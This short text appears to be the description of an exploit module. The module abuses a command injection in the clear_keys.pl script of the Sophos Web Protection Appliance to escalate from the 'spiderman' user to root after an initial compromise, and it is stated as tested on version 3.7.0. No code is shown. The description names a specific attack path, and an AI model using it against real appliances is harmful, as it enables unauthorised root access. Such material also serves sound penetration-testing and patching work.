This module abuses a command injection on the clear_keys.pl perl script, installed with the
Sophos Web Protection Appliance, to escalate privileges from the "spiderman" user to "root".
This module is useful for post exploitation of vulnerabilities on the Sophos Web Protection
Appliance web ui, executed by the "spiderman" user. This module has been tested successfully
on Sophos Virtual Web Appliance 3.7.0.
